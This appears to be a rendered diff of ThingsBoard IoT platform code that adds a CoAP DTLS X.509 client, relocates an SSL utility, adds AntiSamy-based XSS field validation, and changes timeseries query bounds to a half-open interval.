43 | + private final DTLSConnector dtlsConnector; | |
44 | + private ExecutorService executor = Executors.newFixedThreadPool(1); | |
45 | + private CoapClient coapClient; | |
46 | + | |
47 | + public SecureClientX509(DTLSConnector dtlsConnector, String host, int port, String clientKeys, String sharedKeys) throws URISyntaxException { | |
48 | + this.dtlsConnector = dtlsConnector; | |
49 | + this.coapClient = getCoapClient(host, port, clientKeys, sharedKeys); | |
50 | + } | |
51 | + | |
52 | + public void test() { | |
53 | + executor.submit(() -> { | |
54 | + try { | |
55 | + while (!Thread.interrupted()) { | |
56 | + CoapResponse response = null; | |
57 | + try { | |
58 | + response = coapClient.get(); | |
59 | + } catch (ConnectorException | IOException e) { | |
60 | + System.err.println("Error occurred while sending request: " + e); | |
61 | + System.exit(-1); | |
62 | + } | |
63 | + if (response != null) { | |
64 | + | |
65 | + System.out.println(response.getCode() + " - " + response.getCode().name()); | |
66 | + System.out.println(response.getOptions()); | |
67 | + System.out.println(response.getResponseText()); | |
68 | + System.out.println(); | |
69 | + System.out.println("ADVANCED:"); | |
70 | + EndpointContext context = response.advanced().getSourceContext(); | |
71 | + Principal identity = context.getPeerIdentity(); | |
72 | + if (identity != null) { | |
73 | + System.out.println(context.getPeerIdentity()); | |
74 | + } else { | |
75 | + System.out.println("anonymous"); | |
76 | + } | |
77 | + System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER)); | |
78 | + System.out.println(Utils.prettyPrint(response)); | |
79 | + } else { | |
80 | + System.out.println("No response received."); | |
81 | + } | |
82 | + Thread.sleep(5000); | |
83 | + } | |
84 | + } catch (Exception e) { | |
85 | + System.out.println("Error occurred while sending COAP requests."); | |
86 | + } | |
87 | + }); | |
88 | + } | |
89 | + | |
90 | + private CoapClient getCoapClient(String host, Integer port, String clientKeys, String sharedKeys) throws URISyntaxException { | |
91 | + URI uri = new URI(getFutureUrl(host, port, clientKeys, sharedKeys)); | |
92 | + CoapClient client = new CoapClient(uri); | |
93 | + CoapEndpoint.Builder builder = new CoapEndpoint.Builder(); | |
94 | + builder.setConnector(dtlsConnector); | |
95 | + | |
96 | + client.setEndpoint(builder.build()); | |
97 | + return client; | |
98 | + } | |
99 | + | |
100 | + private String getFutureUrl(String host, Integer port, String clientKeys, String sharedKeys) { | |
101 | + return "coaps://" + host + ":" + port + "/api/v1/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys; | |
102 | + } | |
103 | + | |
104 | + public static void main(String[] args) throws URISyntaxException { | |
105 | + System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.SecureClientX509 " + | |
106 | + "host port keyStoreUriPath keyStoreAlias trustedAliasPattern clientKeys sharedKeys"); | |
107 | + | |
108 | + String host = args[0]; | |
109 | + int port = Integer.parseInt(args[1]); | |
110 | + String clientKeys = args[6]; | |
111 | + String sharedKeys = args[7]; | |
112 | + | |
113 | + String keyStoreUriPath = args[2]; | |
114 | + String keyStoreAlias = args[3]; | |
115 | + String trustedAliasPattern = args[4]; | |
116 | + String keyStorePassword = args[5]; | |
117 | + | |
118 | + | |
119 | + DtlsConnectorConfig.Builder builder = new DtlsConnectorConfig.Builder(); | |
120 | + setupCredentials(builder, keyStoreUriPath, keyStoreAlias, trustedAliasPattern, keyStorePassword); | |
121 | + DTLSConnector dtlsConnector = new DTLSConnector(builder.build()); | |
122 | + SecureClientX509 client = new SecureClientX509(dtlsConnector, host, port, clientKeys, sharedKeys); | |
123 | + client.test(); | |
124 | + } | |
125 | + | |
126 | + private static void setupCredentials(DtlsConnectorConfig.Builder config, String keyStoreUriPath, String keyStoreAlias, String trustedAliasPattern, String keyStorePassword) { | |
127 | + StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder(); | |
128 | + try { | |
129 | + SslContextUtil.Credentials serverCredentials = SslContextUtil.loadCredentials( | |
130 | + keyStoreUriPath, keyStoreAlias, keyStorePassword.toCharArray(), keyStorePassword.toCharArray()); | |
131 | + Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates( | |
132 | + keyStoreUriPath, trustedAliasPattern, keyStorePassword.toCharArray()); | |
133 | + trustBuilder.setTrustedCertificates(trustedCertificates); | |
134 | + config.setAdvancedCertificateVerifier(trustBuilder.build()); | |
135 | + config.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), Collections.singletonList(CertificateType.X_509)); | |
136 | + } catch (GeneralSecurityException e) { | |
137 | + System.err.println("certificates are invalid!"); | |
138 | + throw new IllegalArgumentException(e.getMessage()); | |
139 | + } catch (IOException e) { | |
140 | + System.err.println("certificates are missing!"); | |
141 | + throw new IllegalArgumentException(e.getMessage()); | |
142 | + } | |
143 | + } | |
144 | +} | ... | ... |
... | ... | @@ -30,7 +30,7 @@ import org.thingsboard.server.common.transport.TransportService; |
30 | 30 | import org.thingsboard.server.common.transport.TransportServiceCallback; |
31 | 31 | import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse; |
32 | 32 | import org.thingsboard.server.gen.transport.TransportProtos; |
33 | -import org.thingsboard.server.transport.mqtt.util.SslUtil; | |
33 | +import org.thingsboard.server.common.transport.util.SslUtil; | |
34 | 34 | |
35 | 35 | import javax.net.ssl.KeyManager; |
36 | 36 | import javax.net.ssl.KeyManagerFactory; |
... | ... | @@ -41,7 +41,6 @@ import javax.net.ssl.TrustManagerFactory; |
41 | 41 | import javax.net.ssl.X509TrustManager; |
42 | 42 | import java.io.File; |
43 | 43 | import java.io.FileInputStream; |
44 | -import java.io.IOException; | |
45 | 44 | import java.io.InputStream; |
46 | 45 | import java.net.URL; |
47 | 46 | import java.security.KeyStore; | ... | ... |
... | ... | @@ -66,7 +66,7 @@ import org.thingsboard.server.transport.mqtt.adaptors.MqttTransportAdaptor; |
66 | 66 | import org.thingsboard.server.transport.mqtt.session.DeviceSessionCtx; |
67 | 67 | import org.thingsboard.server.transport.mqtt.session.GatewaySessionHandler; |
68 | 68 | import org.thingsboard.server.transport.mqtt.session.MqttTopicMatcher; |
69 | -import org.thingsboard.server.transport.mqtt.util.SslUtil; | |
69 | +import org.thingsboard.server.common.transport.util.SslUtil; | |
70 | 70 | |
71 | 71 | import javax.net.ssl.SSLPeerUnverifiedException; |
72 | 72 | import java.security.cert.Certificate; | ... | ... |
... | ... | @@ -146,7 +146,7 @@ public class ProtoMqttAdaptor implements MqttTransportAdaptor { |
146 | 146 | |
147 | 147 | @Override |
148 | 148 | public Optional<MqttMessage> convertToPublish(MqttDeviceAwareSessionContext ctx, TransportProtos.ToDeviceRpcRequestMsg rpcRequest) { |
149 | - return Optional.of(createMqttPublishMsg(ctx, MqttTopics.DEVICE_RPC_REQUESTS_TOPIC + rpcRequest.getRequestId(), rpcRequest.toByteArray())); | |
149 | + return Optional.of(createMqttPublishMsg(ctx, MqttTopics.DEVICE_RPC_REQUESTS_TOPIC + rpcRequest.getRequestId(), ProtoConverter.convertToRpcRequest(rpcRequest))); | |
150 | 150 | } |
151 | 151 | |
152 | 152 | @Override | ... | ... |
... | ... | @@ -107,7 +107,7 @@ public class JsonConverter { |
107 | 107 | public static ClaimDeviceMsg convertToClaimDeviceProto(DeviceId deviceId, String json) { |
108 | 108 | long durationMs = 0L; |
109 | 109 | if (json != null && !json.isEmpty()) { |
110 | - return convertToClaimDeviceProto(deviceId, new JsonParser().parse(json)); | |
110 | + return convertToClaimDeviceProto(deviceId, JSON_PARSER.parse(json)); | |
111 | 111 | } |
112 | 112 | return buildClaimDeviceMsg(deviceId, DataConstants.DEFAULT_SECRET_KEY, durationMs); |
113 | 113 | } |
... | ... | @@ -156,7 +156,7 @@ public class JsonConverter { |
156 | 156 | result.addProperty("id", msg.getRequestId()); |
157 | 157 | } |
158 | 158 | result.addProperty("method", msg.getMethodName()); |
159 | - result.add("params", new JsonParser().parse(msg.getParams())); | |
159 | + result.add("params", JSON_PARSER.parse(msg.getParams())); | |
160 | 160 | return result; |
161 | 161 | } |
162 | 162 | |
... | ... | @@ -405,7 +405,7 @@ public class JsonConverter { |
405 | 405 | |
406 | 406 | public static JsonElement toJson(TransportProtos.ToServerRpcResponseMsg msg) { |
407 | 407 | if (StringUtils.isEmpty(msg.getError())) { |
408 | - return new JsonParser().parse(msg.getPayload()); | |
408 | + return JSON_PARSER.parse(msg.getPayload()); | |
409 | 409 | } else { |
410 | 410 | JsonObject errorMsg = new JsonObject(); |
411 | 411 | errorMsg.addProperty("error", msg.getError()); |
... | ... | @@ -563,7 +563,7 @@ public class JsonConverter { |
563 | 563 | } |
564 | 564 | |
565 | 565 | public static TransportProtos.ProvisionDeviceRequestMsg convertToProvisionRequestMsg(String json) { |
566 | - JsonElement jsonElement = new JsonParser().parse(json); | |
566 | + JsonElement jsonElement = JSON_PARSER.parse(json); | |
567 | 567 | if (jsonElement.isJsonObject()) { |
568 | 568 | return buildProvisionRequestMsg(jsonElement.getAsJsonObject()); |
569 | 569 | } else { | ... | ... |
... | ... | @@ -15,7 +15,9 @@ |
15 | 15 | */ |
16 | 16 | package org.thingsboard.server.common.transport.adaptor; |
17 | 17 | |
18 | +import com.google.gson.JsonElement; | |
18 | 19 | import com.google.gson.JsonParser; |
20 | +import com.google.gson.JsonPrimitive; | |
19 | 21 | import com.google.protobuf.InvalidProtocolBufferException; |
20 | 22 | import lombok.extern.slf4j.Slf4j; |
21 | 23 | import org.springframework.util.CollectionUtils; |
... | ... | @@ -167,4 +169,27 @@ public class ProtoConverter { |
167 | 169 | }); |
168 | 170 | return kvList; |
169 | 171 | } |
172 | + | |
173 | + public static byte[] convertToRpcRequest(TransportProtos.ToDeviceRpcRequestMsg toDeviceRpcRequestMsg) { | |
174 | + TransportProtos.ToDeviceRpcRequestMsg.Builder toDeviceRpcRequestMsgBuilder = toDeviceRpcRequestMsg.newBuilderForType(); | |
175 | + toDeviceRpcRequestMsgBuilder.mergeFrom(toDeviceRpcRequestMsg); | |
176 | + toDeviceRpcRequestMsgBuilder.setParams(parseParams(toDeviceRpcRequestMsg)); | |
177 | + TransportProtos.ToDeviceRpcRequestMsg result = toDeviceRpcRequestMsgBuilder.build(); | |
178 | + return result.toByteArray(); | |
179 | + } | |
180 | + | |
181 | + private static String parseParams(TransportProtos.ToDeviceRpcRequestMsg toDeviceRpcRequestMsg) { | |
182 | + String params = toDeviceRpcRequestMsg.getParams(); | |
183 | + JsonElement jsonElementParams = JSON_PARSER.parse(params); | |
184 | + if (!jsonElementParams.isJsonPrimitive()) { | |
185 | + return params; | |
186 | + } else { | |
187 | + JsonPrimitive primitiveParams = jsonElementParams.getAsJsonPrimitive(); | |
188 | + if (jsonElementParams.getAsJsonPrimitive().isString()) { | |
189 | + return primitiveParams.getAsString(); | |
190 | + } else { | |
191 | + return params; | |
192 | + } | |
193 | + } | |
194 | + } | |
170 | 195 | } | ... | ... |
... | ... | @@ -25,7 +25,15 @@ import java.util.UUID; |
25 | 25 | public class SessionInfoCreator { |
26 | 26 | |
27 | 27 | public static TransportProtos.SessionInfoProto create(ValidateDeviceCredentialsResponse msg, TransportContext context, UUID sessionId) { |
28 | - return TransportProtos.SessionInfoProto.newBuilder().setNodeId(context.getNodeId()) | |
28 | + return getSessionInfoProto(msg, context.getNodeId(), sessionId); | |
29 | + } | |
30 | + | |
31 | + public static TransportProtos.SessionInfoProto create(ValidateDeviceCredentialsResponse msg, String nodeId, UUID sessionId) { | |
32 | + return getSessionInfoProto(msg, nodeId, sessionId); | |
33 | + } | |
34 | + | |
35 | + private static TransportProtos.SessionInfoProto getSessionInfoProto(ValidateDeviceCredentialsResponse msg, String nodeId, UUID sessionId) { | |
36 | + return TransportProtos.SessionInfoProto.newBuilder().setNodeId(nodeId) | |
29 | 37 | .setSessionIdMSB(sessionId.getMostSignificantBits()) |
30 | 38 | .setSessionIdLSB(sessionId.getLeastSignificantBits()) |
31 | 39 | .setDeviceIdMSB(msg.getDeviceInfo().getDeviceId().getId().getMostSignificantBits()) | ... | ... |
common/transport/transport-api/src/main/java/org/thingsboard/server/common/transport/util/SslUtil.java
renamed from
common/transport/mqtt/src/main/java/org/thingsboard/server/transport/mqtt/util/SslUtil.java
... | ... | @@ -13,13 +13,12 @@ |
13 | 13 | * See the License for the specific language governing permissions and |
14 | 14 | * limitations under the License. |
15 | 15 | */ |
16 | -package org.thingsboard.server.transport.mqtt.util; | |
16 | +package org.thingsboard.server.common.transport.util; | |
17 | 17 | |
18 | 18 | import lombok.extern.slf4j.Slf4j; |
19 | 19 | import org.springframework.util.Base64Utils; |
20 | 20 | import org.thingsboard.server.common.msg.EncryptionUtil; |
21 | 21 | |
22 | -import java.io.IOException; | |
23 | 22 | import java.security.cert.Certificate; |
24 | 23 | import java.security.cert.CertificateEncodingException; |
25 | 24 | ... | ... |
... | ... | @@ -112,6 +112,14 @@ |
112 | 112 | <artifactId>jackson-databind</artifactId> |
113 | 113 | </dependency> |
114 | 114 | <dependency> |
115 | + <groupId>org.hibernate.validator</groupId> | |
116 | + <artifactId>hibernate-validator</artifactId> | |
117 | + </dependency> | |
118 | + <dependency> | |
119 | + <groupId>org.glassfish</groupId> | |
120 | + <artifactId>javax.el</artifactId> | |
121 | + </dependency> | |
122 | + <dependency> | |
115 | 123 | <groupId>org.springframework</groupId> |
116 | 124 | <artifactId>spring-context</artifactId> |
117 | 125 | </dependency> |
... | ... | @@ -199,6 +207,11 @@ |
199 | 207 | <scope>test</scope> |
200 | 208 | </dependency> |
201 | 209 | <dependency> |
210 | + <groupId>org.junit.jupiter</groupId> | |
211 | + <artifactId>junit-jupiter-params</artifactId> | |
212 | + <scope>test</scope> | |
213 | + </dependency> | |
214 | + <dependency> | |
202 | 215 | <groupId>org.springframework</groupId> |
203 | 216 | <artifactId>spring-context-support</artifactId> |
204 | 217 | </dependency> | ... | ... |
... | ... | @@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service; |
17 | 17 | |
18 | 18 | import com.fasterxml.jackson.databind.JsonNode; |
19 | 19 | import lombok.extern.slf4j.Slf4j; |
20 | +import org.hibernate.validator.HibernateValidator; | |
21 | +import org.hibernate.validator.HibernateValidatorConfiguration; | |
22 | +import org.hibernate.validator.cfg.ConstraintMapping; | |
20 | 23 | import org.thingsboard.server.common.data.BaseData; |
21 | 24 | import org.thingsboard.server.common.data.EntityType; |
22 | 25 | import org.thingsboard.server.common.data.id.TenantId; |
26 | +import org.thingsboard.server.common.data.validation.NoXss; | |
23 | 27 | import org.thingsboard.server.dao.TenantEntityDao; |
24 | 28 | import org.thingsboard.server.dao.exception.DataValidationException; |
25 | 29 | |
30 | +import javax.validation.ConstraintViolation; | |
31 | +import javax.validation.Validation; | |
32 | +import javax.validation.Validator; | |
26 | 33 | import java.util.HashSet; |
27 | 34 | import java.util.Iterator; |
35 | +import java.util.List; | |
28 | 36 | import java.util.Set; |
29 | 37 | import java.util.function.Function; |
30 | 38 | import java.util.regex.Matcher; |
31 | 39 | import java.util.regex.Pattern; |
40 | +import java.util.stream.Collectors; | |
32 | 41 | |
33 | 42 | @Slf4j |
34 | 43 | public abstract class DataValidator<D extends BaseData<?>> { |
35 | 44 | private static final Pattern EMAIL_PATTERN = |
36 | 45 | Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE); |
37 | 46 | |
47 | + private static Validator fieldsValidator; | |
48 | + | |
49 | + static { | |
50 | + initializeFieldsValidator(); | |
51 | + } | |
52 | + | |
38 | 53 | public void validate(D data, Function<D, TenantId> tenantIdFunction) { |
39 | 54 | try { |
40 | 55 | if (data == null) { |
41 | 56 | throw new DataValidationException("Data object can't be null!"); |
42 | 57 | } |
58 | + | |
59 | + List<String> validationErrors = validateFields(data); | |
60 | + if (!validationErrors.isEmpty()) { | |
61 | + throw new IllegalArgumentException("Validation error: " + String.join(", ", validationErrors)); | |
62 | + } | |
63 | + | |
43 | 64 | TenantId tenantId = tenantIdFunction.apply(data); |
44 | 65 | validateDataImpl(tenantId, data); |
45 | 66 | if (data.getId() == null) { |
... | ... | @@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> { |
81 | 102 | return emailMatcher.matches(); |
82 | 103 | } |
83 | 104 | |
105 | + private List<String> validateFields(D data) { | |
106 | + Set<ConstraintViolation<D>> constraintsViolations = fieldsValidator.validate(data); | |
107 | + return constraintsViolations.stream() | |
108 | + .map(ConstraintViolation::getMessage) | |
109 | + .distinct() | |
110 | + .collect(Collectors.toList()); | |
111 | + } | |
112 | + | |
84 | 113 | protected void validateNumberOfEntitiesPerTenant(TenantId tenantId, |
85 | 114 | TenantEntityDao tenantEntityDao, |
86 | 115 | long maxEntities, |
... | ... | @@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> { |
111 | 140 | throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!"); |
112 | 141 | } |
113 | 142 | } |
143 | + | |
144 | + private static void initializeFieldsValidator() { | |
145 | + HibernateValidatorConfiguration validatorConfiguration = Validation.byProvider(HibernateValidator.class).configure(); | |
146 | + ConstraintMapping constraintMapping = validatorConfiguration.createConstraintMapping(); | |
147 | + constraintMapping.constraintDefinition(NoXss.class).validatedBy(NoXssValidator.class); | |
148 | + validatorConfiguration.addMapping(constraintMapping); | |
149 | + | |
150 | + fieldsValidator = validatorConfiguration.buildValidatorFactory().getValidator(); | |
151 | + } | |
114 | 152 | } | ... | ... |
1 | +/** | |
2 | + * Copyright © 2016-2021 The Thingsboard Authors | |
3 | + * | |
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | |
5 | + * you may not use this file except in compliance with the License. | |
6 | + * You may obtain a copy of the License at | |
7 | + * | |
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | |
9 | + * | |
10 | + * Unless required by applicable law or agreed to in writing, software | |
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | |
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
13 | + * See the License for the specific language governing permissions and | |
14 | + * limitations under the License. | |
15 | + */ | |
16 | +package org.thingsboard.server.dao.service; | |
17 | + | |
18 | +import com.google.common.io.Resources; | |
19 | +import lombok.extern.slf4j.Slf4j; | |
20 | +import org.owasp.validator.html.AntiSamy; | |
21 | +import org.owasp.validator.html.Policy; | |
22 | +import org.owasp.validator.html.PolicyException; | |
23 | +import org.owasp.validator.html.ScanException; | |
24 | +import org.thingsboard.server.common.data.validation.NoXss; | |
25 | + | |
26 | +import javax.validation.ConstraintValidator; | |
27 | +import javax.validation.ConstraintValidatorContext; | |
28 | + | |
29 | +@Slf4j | |
30 | +public class NoXssValidator implements ConstraintValidator<NoXss, Object> { | |
31 | + private static final AntiSamy xssChecker = new AntiSamy(); | |
32 | + private static Policy xssPolicy; | |
33 | + | |
34 | + @Override | |
35 | + public void initialize(NoXss constraintAnnotation) { | |
36 | + if (xssPolicy == null) { | |
37 | + try { | |
38 | + xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml")); | |
39 | + } catch (Exception e) { | |
40 | + log.error("Failed to set xss policy: {}", e.getMessage()); | |
41 | + } | |
42 | + } | |
43 | + } | |
44 | + | |
45 | + @Override | |
46 | + public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) { | |
47 | + if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) { | |
48 | + return true; | |
49 | + } | |
50 | + | |
51 | + try { | |
52 | + return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0; | |
53 | + } catch (ScanException | PolicyException e) { | |
54 | + return false; | |
55 | + } | |
56 | + } | |
57 | +} | ... | ... |
... | ... | @@ -33,7 +33,7 @@ public interface TsKvTimescaleRepository extends CrudRepository<TimescaleTsKvEnt |
33 | 33 | |
34 | 34 | @Query("SELECT tskv FROM TimescaleTsKvEntity tskv WHERE tskv.entityId = :entityId " + |
35 | 35 | "AND tskv.key = :entityKey " + |
36 | - "AND tskv.ts > :startTs AND tskv.ts <= :endTs") | |
36 | + "AND tskv.ts >= :startTs AND tskv.ts < :endTs") | |
37 | 37 | List<TimescaleTsKvEntity> findAllWithLimit( |
38 | 38 | @Param("entityId") UUID entityId, |
39 | 39 | @Param("entityKey") int key, |
... | ... | @@ -44,7 +44,7 @@ public interface TsKvTimescaleRepository extends CrudRepository<TimescaleTsKvEnt |
44 | 44 | @Modifying |
45 | 45 | @Query("DELETE FROM TimescaleTsKvEntity tskv WHERE tskv.entityId = :entityId " + |
46 | 46 | "AND tskv.key = :entityKey " + |
47 | - "AND tskv.ts > :startTs AND tskv.ts <= :endTs") | |
47 | + "AND tskv.ts >= :startTs AND tskv.ts < :endTs") | |
48 | 48 | void delete(@Param("entityId") UUID entityId, |
49 | 49 | @Param("entityKey") int key, |
50 | 50 | @Param("startTs") long startTs, | ... | ... |
... | ... | @@ -32,7 +32,7 @@ import java.util.concurrent.CompletableFuture; |
32 | 32 | public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvCompositeKey> { |
33 | 33 | |
34 | 34 | @Query("SELECT tskv FROM TsKvEntity tskv WHERE tskv.entityId = :entityId " + |
35 | - "AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | |
35 | + "AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") | |
36 | 36 | List<TsKvEntity> findAllWithLimit(@Param("entityId") UUID entityId, |
37 | 37 | @Param("entityKey") int key, |
38 | 38 | @Param("startTs") long startTs, |
... | ... | @@ -42,7 +42,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite |
42 | 42 | @Transactional |
43 | 43 | @Modifying |
44 | 44 | @Query("DELETE FROM TsKvEntity tskv WHERE tskv.entityId = :entityId " + |
45 | - "AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | |
45 | + "AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") | |
46 | 46 | void delete(@Param("entityId") UUID entityId, |
47 | 47 | @Param("entityKey") int key, |
48 | 48 | @Param("startTs") long startTs, |
... | ... | @@ -51,7 +51,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite |
51 | 51 | @Async |
52 | 52 | @Query("SELECT new TsKvEntity(MAX(tskv.strValue)) FROM TsKvEntity tskv " + |
53 | 53 | "WHERE tskv.strValue IS NOT NULL " + |
54 | - "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | |
54 | + "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") | |
55 | 55 | CompletableFuture<TsKvEntity> findStringMax(@Param("entityId") UUID entityId, |
56 | 56 | @Param("entityKey") int entityKey, |
57 | 57 | @Param("startTs") long startTs, |
... | ... | @@ -63,7 +63,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite |
63 | 63 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + |
64 | 64 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + |
65 | 65 | "'MAX') FROM TsKvEntity tskv " + |
66 | - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | |
66 | + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") | |
67 | 67 | CompletableFuture<TsKvEntity> findNumericMax(@Param("entityId") UUID entityId, |
68 | 68 | @Param("entityKey") int entityKey, |
69 | 69 | @Param("startTs") long startTs, |
... | ... | @@ -73,7 +73,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite |
73 | 73 | @Async |
74 | 74 | @Query("SELECT new TsKvEntity(MIN(tskv.strValue)) FROM TsKvEntity tskv " + |
75 | 75 | "WHERE tskv.strValue IS NOT NULL " + |
76 | - "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | |
76 | + "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") | |
77 | 77 | CompletableFuture<TsKvEntity> findStringMin(@Param("entityId") UUID entityId, |
78 | 78 | @Param("entityKey") int entityKey, |
79 | 79 | @Param("startTs") long startTs, |
... | ... | @@ -85,7 +85,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite |
85 | 85 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + |
86 | 86 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + |
87 | 87 | "'MIN') FROM TsKvEntity tskv " + |
88 | - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | |
88 | + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") | |
89 | 89 | CompletableFuture<TsKvEntity> findNumericMin( |
90 | 90 | @Param("entityId") UUID entityId, |
91 | 91 | @Param("entityKey") int entityKey, |
... | ... | @@ -98,7 +98,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite |
98 | 98 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + |
99 | 99 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + |
100 | 100 | "SUM(CASE WHEN tskv.jsonValue IS NULL THEN 0 ELSE 1 END)) FROM TsKvEntity tskv " + |
101 | - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | |
101 | + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") | |
102 | 102 | CompletableFuture<TsKvEntity> findCount(@Param("entityId") UUID entityId, |
103 | 103 | @Param("entityKey") int entityKey, |
104 | 104 | @Param("startTs") long startTs, |
... | ... | @@ -110,7 +110,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite |
110 | 110 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + |
111 | 111 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + |
112 | 112 | "'AVG') FROM TsKvEntity tskv " + |
113 | - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | |
113 | + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") | |
114 | 114 | CompletableFuture<TsKvEntity> findAvg(@Param("entityId") UUID entityId, |
115 | 115 | @Param("entityKey") int entityKey, |
116 | 116 | @Param("startTs") long startTs, |
... | ... | @@ -122,7 +122,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite |
122 | 122 | "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " + |
123 | 123 | "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " + |
124 | 124 | "'SUM') FROM TsKvEntity tskv " + |
125 | - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs") | |
125 | + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs") | |
126 | 126 | CompletableFuture<TsKvEntity> findSum(@Param("entityId") UUID entityId, |
127 | 127 | @Param("entityKey") int entityKey, |
128 | 128 | @Param("startTs") long startTs, | ... | ... |
... | ... | @@ -550,8 +550,8 @@ public class CassandraBaseTimeseriesDao extends AbstractCassandraBaseTimeseriesD |
550 | 550 | + "AND " + ModelConstants.ENTITY_ID_COLUMN + EQUALS_PARAM |
551 | 551 | + "AND " + ModelConstants.KEY_COLUMN + EQUALS_PARAM |
552 | 552 | + "AND " + ModelConstants.PARTITION_COLUMN + EQUALS_PARAM |
553 | - + "AND " + ModelConstants.TS_COLUMN + " > ? " | |
554 | - + "AND " + ModelConstants.TS_COLUMN + " <= ?"); | |
553 | + + "AND " + ModelConstants.TS_COLUMN + " >= ? " | |
554 | + + "AND " + ModelConstants.TS_COLUMN + " < ?"); | |
555 | 555 | } |
556 | 556 | return deleteStmt; |
557 | 557 | } |
... | ... | @@ -740,8 +740,8 @@ public class CassandraBaseTimeseriesDao extends AbstractCassandraBaseTimeseriesD |
740 | 740 | + "AND " + ModelConstants.ENTITY_ID_COLUMN + EQUALS_PARAM |
741 | 741 | + "AND " + ModelConstants.KEY_COLUMN + EQUALS_PARAM |
742 | 742 | + "AND " + ModelConstants.PARTITION_COLUMN + EQUALS_PARAM |
743 | - + "AND " + ModelConstants.TS_COLUMN + " > ? " | |
744 | - + "AND " + ModelConstants.TS_COLUMN + " <= ?" | |
743 | + + "AND " + ModelConstants.TS_COLUMN + " >= ? " | |
744 | + + "AND " + ModelConstants.TS_COLUMN + " < ?" | |
745 | 745 | + (type == Aggregation.NONE ? " ORDER BY " + ModelConstants.TS_COLUMN + " " + orderBy + " LIMIT ?" : "")); |
746 | 746 | } |
747 | 747 | } | ... | ... |
... | ... | @@ -91,8 +91,8 @@ $$ |
91 | 91 | DECLARE |
92 | 92 | tenant_cursor CURSOR FOR select tenant.id as tenant_id |
93 | 93 | from tenant; |
94 | - tenant_id_record varchar; | |
95 | - customer_id_record varchar; | |
94 | + tenant_id_record uuid; | |
95 | + customer_id_record uuid; | |
96 | 96 | tenant_ttl bigint; |
97 | 97 | customer_ttl bigint; |
98 | 98 | deleted_for_entities bigint; | ... | ... |
dao/src/main/resources/xss-policy.xml
0 → 100644
